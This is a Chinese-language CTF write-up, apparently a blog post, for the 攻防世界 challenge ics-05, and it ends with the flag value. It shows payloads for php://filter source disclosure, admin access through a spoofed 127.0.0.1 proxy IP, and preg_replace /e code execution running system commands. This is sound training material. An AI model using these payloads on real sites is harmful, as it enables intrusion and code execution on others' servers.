攻防世界 ics-05

不一定每日,尽量每日,一题

观察

进入页面之后肯定是把这些能点的模块都点一遍,看看有没有什么不一样的,点到“设备维护中心”发现这个页面是有变化的,其他的都不带变的

还是先找能点击的地方,“云平台设备维护中心”是可以点击的,点完之后页面中间出现了“index”字符串,url变成了设备维护中心。看到这个我第一时间想到了XSS漏洞,简单放了个<script>alter(123)</script>,发现没什么用,又看了一下网页源代码,也没有找到有用的信息。随后使用burp suite的模糊测试爆破,还是没有收获。

确实没思路了,然后就去看了一眼题解,看到这个page参数竟然可以用php://伪协议,一下子就悟了

开整+分析

把index.php的源码搞来看看

Payload1:

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

解密得到源码后,可以看到里面这段代码是留的管理员访问

通过伪造代理服务器ip为127.0.0.1来进行管理员操作,但是没有那么直接,还是要通过利用preg_replace()的漏洞来进一步获取

先使用burp suite通过伪造代理ip来进入内部人员测试通道

对preg_replace()的漏洞我也不是太了解,找到了一篇介绍比较详细的文章

https://www.cnblogs.com/sipc-love/p/14289984.html

主要就是利用了pattern的/e模式实现远程代码执行,根据上文中index.php的源码可知,通过传递pat,rep,sub三个参数来利用preg_replace()的漏洞

Payload2:

/index.php?pat=/test/e&rep=system("ls")&sub=test

其中参数rep可以使用任何php代码,pat用/e模式,sub中包含匹配的字符串即可,比如我这里pat用的是/test/e,sub可以为任何包含test的字符串

可以看到执行了rep传递的命令,在返回值中列出了目录中包含的内容;rep可以传递任何php代码,我执行php代码获取flag的顺序如下

rep=system(“ls”)

rep=system(“find%20.%20-name%20’*flag*’”)

rep=cat%20./s3chahahaDir/flag/flag.php

最终得到flag

完活

cyberpeace{480d4ec64453cc9a97c90a2bd85a1a79}

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值